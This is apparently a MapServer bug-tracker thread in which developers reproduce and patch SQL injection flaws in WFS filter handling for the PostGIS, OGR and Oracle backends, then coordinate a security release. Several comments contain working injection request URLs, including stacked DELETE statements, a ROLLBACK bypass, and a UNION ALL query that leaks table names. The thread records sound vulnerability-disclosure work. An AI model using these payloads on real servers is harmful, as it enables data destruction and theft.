Multiple SQL injections possible on PostGIS layers with a WFS FE filter

[rouault]

I've been able to trigger a SQL injection with svn trunk when running the following WFS GetFeature request :

http://127.0.0.1:8080/mapserv.cgi?map=pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&
FILTER=<Filter><And><PropertyIsEqualTo><PropertyName>name</PropertyName>
<Literal>')); delete from world; select (('
</Literal></PropertyIsEqualTo>
<BBOX><PropertyName>msGeometry</PropertyName>
<gml:Box><gml:coordinates>-90,-180 90,180</gml:coordinates></gml:Box>
</BBOX></And></Filter>

The 'delete from world' is run...

Also with the Literal of a PropertyIsLike :

http://127.0.0.1:8080/mapserv.cgi?map=pg.map&SERVICE=WFS&
VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&
FILTER=<Filter  xmlns:gml="http://www.opengis.net/gml"><And>
<PropertyIsLike wildCard='*' singleChar='_' escapeChar='!'>
<PropertyName>name</PropertyName>
<Literal>')); delete from world; select name from world WHERE ((name LIKE '</Literal>
</PropertyIsLike><BBOX><PropertyName>msGeometry</PropertyName><gml:Box><gml:coordinates>-90,-180 90,180</gml:coordinates></gml:Box></BBOX></And></Filter>

Also with the PropertyName :

map=pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&
TYPENAME=world&FILTER=<Filter><And>
<PropertyIsLike wildCard='*' singleChar='_' escape='X'>
<PropertyName>name = 'a')); delete from world; select * from world where ((name</PropertyName>
<Literal>a</Literal></PropertyIsLike><BBOX><PropertyName>msGeometry</PropertyName><gml:Box><gml:coordinates>-90,-180 90,180</gml:coordinates></gml:Box></BBOX></And></Filter>

FLTGetIsBetweenComparisonSQLExpresssion() seems to be unaffected as far as the UpperBound and LowerBound are concerned because of the following check :

    aszBounds = msStringSplit(psFilterNode->psRightNode->pszValue, ';', &nBounds);
    if (nBounds != 2)
      return NULL;

However there are perhaps more clever ways of exploiting it despite that.

The issue likely affects previous MS versions, and perhaps other backends, and perhaps other places in the code I haven't seen.

Attached a patch that fixes the issue, but it is not perfect. See comment in the patch.

[rouault]

Ah, and the data to reproduce is the world.shp injected in a postgis instance, coming from ​http://tinyows.org/trac/browser/trunk/demo

[assefa]

I was able to duplicate this and verify that applying the patch was preventing the injection. I am also checking the #3876 and preparing a patch

I intend to apply the patch to 6.0.x, current trunk and 5.6.x. Should I just commit when I am ready? I will add a generic note on security in HISTORY.txt.

I also checked the oracle back end to see but was not able to exploit it, although It seems to be exploitable. Here is what end up being executed at the driver level for a valid request using :

SELECT OGR_FID, AREA, PERIMETER, POPPLACE_, POPPLACE_I, UNIQUE_KEY, NAME, NAME_E, NAME_F, UNIQUE_K_1, UNIQUE_K_2, REG_CODE, NTS50, LAT, LON, SGC_CODE, CAPITAL, POP_RANGE, rownum, ORA_GEOMETRY FROM POPPLACE_MSAUTOTEST3 WHERE   (NAME= 'Halifax') 

a request such as this:

http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/projects/mapserver-buildkit-2008/mapserver/msautotest/wxs/wfs_filter_mine.map&&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=popplace_oracle&FILTER=<Filter><PropertyIsEqualTo><PropertyName>NAME_E</PropertyName><Literal>'); delete from POPPLACE_MSAUTOTEST3; (select '</Literal></PropertyIsEqualTo></Filter>

would end up being

SELECT OGR_FID, AREA, PERIMETER, POPPLACE_, POPPLACE_I, UNIQUE_KEY, NAME, NAME_E, NAME_F, UNIQUE_K_1, UNIQUE_K_2, REG_CODE, NTS50, LAT, LON, SGC_CODE, CAPITAL, POP_RANGE, rownum, ORA_GEOMETRY FROM POPPLACE_MSAUTOTEST3 WHERE   (NAME_E= ''); delete from POPPLACE_MSAUTOTEST3; (select '')

I was not able to concatenate several commands to exploit it using semi-column. Not sure if having several commands like this is allowed. I was not able to do it on the command line with the sql plus that comes with my oracle installation. If someone sees a possibility, please let me know.

[dmorissette]

Thank you for looking into this Assefa.

Please do not commit anything to SVN until we are ready to release (we'll need to coordinate this via email with other devs and the binary package maintainers). Perhaps you could attach the patches to the tickets in the meantime so that they can be tested on all platforms.

You suggest patching trunk, 6.0.x and 5.6.x ... does this mean that you have verified that 5.4.x and older would not be vulnerable? In the past we have gone back as far as 4.10.x with security fixes (some distros such as Debian still carry very old MapServer versions), so we should find out which releases are vulnerable and consider applying the fix to all of them.

About Oracle being exploitable or not, I'm not sure either. Maybe Alan would have an idea, or otherwise we could include someone more familiar with Oracle in the loop?

[assefa]

I did not go back to older versions. I can certainly check 5.4, 5.2,5.0 and possibly 4.10 prepare a patchs.

Yes any one with Oracle knowledge is wellcome.

[dmorissette]

Added pramsey and colivier to private security group and CC'd on this ticket.

[aboudreault]

About the ORACLE Driver. I did a quick test and Assefa is right. I don't think we can exploit oracle driver. We got the error: ORA-00911, invalid character, when we try to use OCISTMTExecute() with a statement that contains a semi-colon. It is clearly stated here: ​http://www.dba-oracle.com/sf_ora_00911_invalid_character.htm

The semi-colon is an invalid character, causing ORA-00911 to appear.  To fix, you should try the SQL again without the inappropriate semi-colon to remedy the ORA-00911 error.

[rouault]

When reading again my patch, I observed that I broke the processing of escapeChar in LIKE clause. But when I fixed it, I found that in the code before the patch, there was another opportunity for SQL injection :

http://127.0.0.1:8080/mapserv.cgi?map=pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=<Filter  xmlns:gml="http://www.opengis.net/gml"><And><PropertyIsLike wildCard='*' singleChar='_' escapeChar='W'><PropertyName>name</PropertyName><Literal>W')); delete from world; --</Literal></PropertyIsLike><BBOX><PropertyName>msGeometry</PropertyName><gml:Box><gml:coordinates>-90,-180 90,180</gml:coordinates></gml:Box></BBOX></And></Filter>

The new patch -v2 I've attached makes escaping work again and hopefully prevent the risk of SQL injection in it. Note also that for extra safety, I've disabled the use of single quote character as the escaping character (my brain exploded when wanting to make this work), whose use would clearly show some bad intention from the user.

[rouault]

v2 of the patch -> fixes the processing of escapeChar in LIKE

[assefa]

patch against svn for theis bug and #3876

[assefa]

I have attached the patch against trunk. This is based on Even's last patch + patch for #3876. I did not include the change from PQexec to PQexecParams. Hopefully this is ok.

I am testing this patch against previous versions and will report when I am ready to commit.

The test cases I am using are:

http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=<Filter><And><PropertyIsEqualTo><PropertyName>name</PropertyName><Literal>')); delete from world; select (('</Literal></PropertyIsEqualTo><BBOX><PropertyName>msGeometry</PropertyName><gml:Box><gml:coordinates>-90,-180 90,180</gml:coordinates></gml:Box></BBOX></And></Filter>

http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=<Filter  xmlns:gml="http://www.opengis.net/gml"><And><PropertyIsLike wildCard='*' singleChar='_' escapeChar='!'><PropertyName>name</PropertyName><Literal>')); delete from world; select name from world WHERE ((name LIKE '</Literal></PropertyIsLike><BBOX><PropertyName>msGeometry</PropertyName><gml:Box><gml:coordinates>-90,-180 90,180</gml:coordinates></gml:Box></BBOX></And></Filter>

http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=<Filter><And><PropertyIsLike wildCard='*' singleChar='_' escape='X'><PropertyName>name = 'a')); delete from world; select * from world where ((name</PropertyName><Literal>a</Literal></PropertyIsLike><BBOX><PropertyName>msGeometry</PropertyName><gml:Box><gml:coordinates>-90,-180 90,180</gml:coordinates></gml:Box></BBOX></And></Filter>

http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&PROPERTYNAME=name&FEATUREID=world.6,world.7)));DELETE FROM world;SELECT name FROM world WHERE (((ogc_fid = 6

[rouault]

About FLTGetIsBetweenComparisonSQLExpresssion(), I didn't manage to exploit it to alter data, but it is exploitable to leak data from other tables. So escaping of aszBounds[0] and aszBounds[1] could be appropriate.

The following exploit can be used to list the names of the tables of the database, and later it opens the door to get their content.

REQUEST_METHOD=GET QUERY_STRING="map=pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=<Filter><PropertyIsBetween><PropertyName>name</PropertyName><LowerBoundary><Literal>France' and 'France')) AND 1 = 0 UNION ALL SELECT 0,c.relname,n.nspname,'',encode(ST_AsBinary(ST_GeomFromText('POLYGON((2 49,3 50,4 51,2 49))')),'hex'),0 FROM pg_class c, pg_namespace n WHERE SUBSTR(c.relname,0,3) != 'pg_'  AND c.relkind = 'r' AND c.relnamespace=n.oid  --</Literal></LowerBoundary><UpperBoundary><Literal>France</Literal></UpperBoundary></PropertyIsBetween></Filter>" ./mapserv

[assefa]

Thanks. Adding this test

http://127.0.0.1/cgi-bin/mapserv.exe?map=f:/msapps/tmp/bug3874/pg.map&SERVICE=WFS&VERSION=1.1.0&REQUEST=GetFeature&TYPENAME=world&FILTER=<Filter><PropertyIsBetween><PropertyName>name</PropertyName><LowerBoundary><Literal>France' and 'France')) AND 1 = 0 UNION ALL SELECT 0,c.relname,n.nspname,'',encode(ST_AsBinary(ST_GeomFromText('POLYGON((2 49,3 50,4 51,2 49))')),'hex'),0 FROM pg_class c, pg_namespace n WHERE SUBSTR(c.relname,0,3) != 'pg_'  AND c.relkind = 'r' AND c.relnamespace=n.oid --</Literal></LowerBoundary><UpperBoundary><Literal>France</Literal></UpperBoundary></PropertyIsBetween></Filter>

I was able to reproduce it in 6.0 and added a patch against it.

[aboudreault]

Assefa, is the patch final? If so, I'm going to send the patch to the debian security guy who will check it and who will give me the CVE id.

[assefa]

patch aginst trunk

[assefa]

Attached the patch against trunk. Do you need patches for each version attached to this bug?

[aboudreault]

Assefa, I see you have added a method to escape strings. Aren't there something already native functions in postgres to do that? Or is there a reason why we couldn't use prepared statements? (sorry if I missed something in any discussions)

[assefa]

Are you talking about PQescapeStringConn? Even noted that also when preparing the patch but the layerinfo was not available at that point. There is a note on that in the bug.

I guess prepared statements could have been used at in postgis before calling an exec. Is that what you meant? I am not sure though I understand why this is relevant here. Would that prevent something that is not prevented by PQexecParams?

[aboudreault]

Even if the result is the same, debian security guys always comment and ask why we do things in some way rather than the prefered way. I think prepared statements are secure and we don't need to escape anything.(IIRC) Will check If I couldn't take some time for this and modify to use prepared statements to get the patch accepted by security team.

[rouault]

Prepared statements would be a better solution indeed. But it looks like it will require patching more code because you need to store the values and provide them in an array to PQexecParams(), whereas currently the methods only return a char* type. The methods should likely then return a structure that has the SQL string and the array.

[aboudreault]

Thanks rouault for the explanation. I'm going to mention that to the sec guys and also that we try to produce a working patch as soon as possible and that our current software architecture does not allow this without further work.

[aboudreault]

Of course, we could do create a ticket for that as a good enhancement.

[unicoletti]

vulnerability check script for mapserver users

[assefa]

exploits examples

[assefa]

I have attached the patches for versions >= 4.10.

I have also created a general ticket #3903 that I will use to refer the commits.

I was mostly able to use the exploit examples (see attached) to reproduce the problems and verify the fixes for version 5.4 and up. For versions lower than that, the examples would not work and I was not able to produce a way to exploit them. I have still patched the code to prevent any injections.

If I do not hear any significant objections, I will start committing either late tonight or tomorrow.

[dmorissette]

Thank you very much for your work on all the patches Assefa. Please wait until we are ready to announce the release before committing (we need to document the issues for users to determine if they need to upgrade, coordinate with the binary package maintainers, prepare the announcement, etc.)

[assefa]

I will wait until all things are sorted out before committing.

[dmorissette]

Adding msmitherdc to get more eyes on the Oracle side of things

[rouault]

MapServer 4.10 is also vulnerable. You need to add a ROLLBACK to close the BEGIN before issuing nasty things. So data erasing and updating is possible, but I don't think stealing and retrieving data from other tables is possible because of the way the 2-passes algorithm works.

REQUEST_METHOD=GET QUERY_STRING="map=pg.map&SERVICE=WFS&VERSION=1.0.0&REQUEST=GetFeature&TYPENAME=world&FILTER=<Filter><And><PropertyIsEqualTo><PropertyName>name</PropertyName><Literal>France'); ROLLBACK; DELETE FROM world; --</Literal></PropertyIsEqualTo><BBOX><PropertyName>msGeometry</PropertyName><gml:Box><gml:coordinates>-180,-90 180,90</gml:coordinates></gml:Box></BBOX></And></Filter>"  ./mapserv

[msmitherdc]

Oracle sql statements do not allow stacking commands (eg select xx from yyy; delete from zzz;) in a single execution. However, there is a vulnerability to information leakage by allowing addition of union all selects into the original select string. Any table that the user being used for the connection that has select privileges is vulnerable.

there is a package in Oracle 10gR1 or later called DBMS_ASSERT that can be used to check for embedded quotes, evaluate for existing sql objects, etc. See examples here (​http://www.oracle-base.com/articles/10g/dbms_assert_10gR2.php).

[rouault]

Well, I've discovered that OGR layers are also vulnerable. I've reproduced injections similar to the ones of the mapserver native postgis backend with a OGR Postgis layer. I'll upload a bug3874_trunk_3.patch with various fixes :

• It removes the connectiontype == MS_POSTGIS tests in FLTGetBinaryComparisonSQLExpresssion() (quoting of the string literal values) and FLTGetIsLikeComparisonSQLExpression().

I've also changed FLTGetEscapedPropertyName() to implement a specific behaviour for MS_OGR : only property names that satisfy (isalnum(ch)

ch == '_'

ch > 127) for each character are considered valid. Others will be rejected, actually replaced by a 'invalid_property_name' string, so that the request fail (I'm not sure how an exception could be thrown at that point, being not familiar enough with MS exception mechanism). Why doing this and not properly quoting ? Well the issue is that the quoting/escaping of field names depend on the actual OGR backend : PG and SQlite uses double-quotes, whereas MySQL uses back-quotes. So better reject suspicious field names. This should hopefully not cause regressions, since no quoting was done previously. It could only have worked if the the user had quoted himself the property name...

[rouault]

Updated version of patch against trunk to fix also OGR vulnerabilities

[aboudreault]

Note that I've been able to reproduce the UNION ALL sql injection using oracle driver.

[aboudreault]

Replying to aboudreault:

Note that I've been able to reproduce the UNION ALL sql injection using oracle driver.

I confirm that the patch of assefa fixes the vulnerability.

[assefa]

patch aginst trunk (using driver specific escapes)

[assefa]

patch against trunk

[assefa]

patch against trunk

[assefa]

patch against 6.0 branch

[assefa]

patch against 5.6 branch

[assefa]

patch against 5.4 branch

[assefa]

patch against 5.2 branch

[assefa]

patch against 5.0 branch

[assefa]

patch against 4.10 branch

[rouault]

Steve,

about the release announcement, is it true to state that "Versions 5.6.7 and 4.10.7 only include fixes for the security vulnerabilities described below" ? I imagine 5.6.7 will be tagged from branch-5-6. I see that 5.6.6 was tagged at revision r10875 ( ​https://trac.osgeo.org/mapserver/log/tags/rel-5-6-6 ) but now branch-5-6 is at revision r11824 ( ​https://trac.osgeo.org/mapserver/log/branches/branch-5-6 ). So there will be about a dozain other fixes than just the security fix mentionned in the announcement ? Unless you intend to do a 5.6.7 directly branched from the rel-5-6-6 tag ?

At line 26, small typo "necssary" --> "necessary"

[jmckenna]

re: draft release: I would change the first sentence to:

  The MapServer team announces the release of MapServer versions 6.0.1, 5.6.7 and 4.10.7.  All users are **strongly encouraged** to upgrade to these latest releases.

[assefa]

All patches were done against the branch versions and my understanding is that a new release would happen for all of them. As noted by Even for the branch 5.6 branch, all other branches (at leased based on the HISTORY) have few others fixed that were already committed. I was also expecting to commit these patches for this to happen.

[sdlime]

Thanks for the feedback. I'll change the text to note the other small changes made to the other versions since their last official release. I'll also fix "necessary" and add some emphasis as Jeff suggested. Version 2 is now uploaded (I overwrote the original)...

In terms of what versions we should officially release, the note was patterned off a similar situation (ironically) a year ago. In that case we released in the most recent branch of the 4 and 5 series and would add 6 to the mix for this one. The other branches would all be patched. I'm thinking this is a good pattern to follow in this case too.

Steve

[assefa]

What is next on this? Let me know when I can commit using #3903.

[sdlime]

I think we still need:

• confirmation on the binary releases. I know Dan pinged folks late last week but I don't know if he heard back.
• a release manager (I'm hoping Dan can continue...)
• confirmation the release note is cool, especially the part about only formally releasing 4.10.7, 5.6.7 and 6.0.1.

Steve

[dmorissette]

I was hoping for some feedback on all DB backends, but since nobody is stepping up for testing we'll just release as is and hope for the best.

On the points that Steve mentioned:

• I will forward the patches to the binary package maintainers now, hoping for feedback by tomorrow
• I will continue as release manager for this and try to get the release out tomorrow or Wednesday at the latest
• I will let Assefa know when it's time to commit the patches to SVN
• With respect to the release note:
  • I would have personally gone for source release of the 5.0.x, 5.2.x and 5.4.x branches as well for convenience, but what you've got there can work too
  • I'm not sure if this note is sufficient to address Umberto's concerns about informing users of the seriousness of the issues and helping them decide if they should upgrade... I will let him comment on that

[dmorissette]

For the record, the patches about to be released include fixes for the following private tickets:

• #3874 - (this ticket) Possible SQL injection in WFS FE
• #3876 - SQL injection vulnerability in FLTGetSQLExpression on FILTER_NODE_TYPE_FEATUREID request
• #3907 - SQL injection vulnerability in WMS time
• #3945 - Potential unsafe code in SOS code
• Some dangerous buffer overflows (no ticket??)

[dmorissette]

Draft 3 of the release announcement.

[dmorissette]

I have updated the draft release announcement to fix a typo and refer to ticket #3903 (the only public facing ticket for all the issues AFAIK).

[jmckenna]

I notice a fancy check script is attached to this ticket (nice!), but I think I missed the discussion around the test script. Is there an equivalent for Windows? I believe those test scripts (for Unix and Windows) should be attached to the public ticket, and then mentioned in the release announcement.

[jmckenna]

more thoughts:

• on the public ticket we should include tests for all of the private tickets/issues (it could even be an archived gmap instance with example commands)....maybe all this exists, but I haven't found it yet (only because I am a packager and I need to know how to test this....but I honestly can't find a nice way to test).

Comments welcome!

[rouault]

I'm not particularly enthousiastic about the check_3874.sh script to detect unpatched versions. It is based on version numbers, but Linux distros have a tendency not to upgrade to the latest released point version and just apply the security patch. So they just increase their binary package version, not the version number of upstream project. A saner approach would be to test the presence of the new escaping functions for example. But, personnaly, I don't think so much pain is needed. Yelling "Upgrade now !" should be sufficient.

Not sure to understand which tests you are talking about. You mean the exploits ? I think the policy was to not disclose them to script kiddies.

[assefa]

jeff, why not use the map (pg.map) provided in this bug with exploits_examples.txt for testing? I am not convinced that providing detailed way of exploiting MS should be made public.

[jmckenna]

no worries, please ignore my testing requests.

[assefa]

commits:

• trunk is r11898
• 6.0 branch is r11890
• 5.6 branch is r11891
• 5.4 branch is r11892
• 5.2 branch is r11893
• 5.0 branch is r11894
• 4.10 branch is r11897

[dmorissette]

Created ticket #3956 for the potentially exploitable buffer overflows in V4.10 to 5.6 for which fixes are also included in the patches (6.0.0 already contained fixes for those problems)

[dmorissette]

Committed r11910 in SVN branch-6-0 (v6.0.1) and r11913 in SVN trunk to add missing #ifdef USE_POSTGIS in msPostGISEscapeSQLParam() to allow building without postgis support.

[assefa]

missed postgis function in patches 5.6 (r11914), 5.4 (r11916), 5.2 (r11921), 5.0 (r11922), 4.10 (r11915)

[sdlime]

Can this be closed? This would have been fixed in the 6.0.1, 5.6.7, etc... releases.

Steve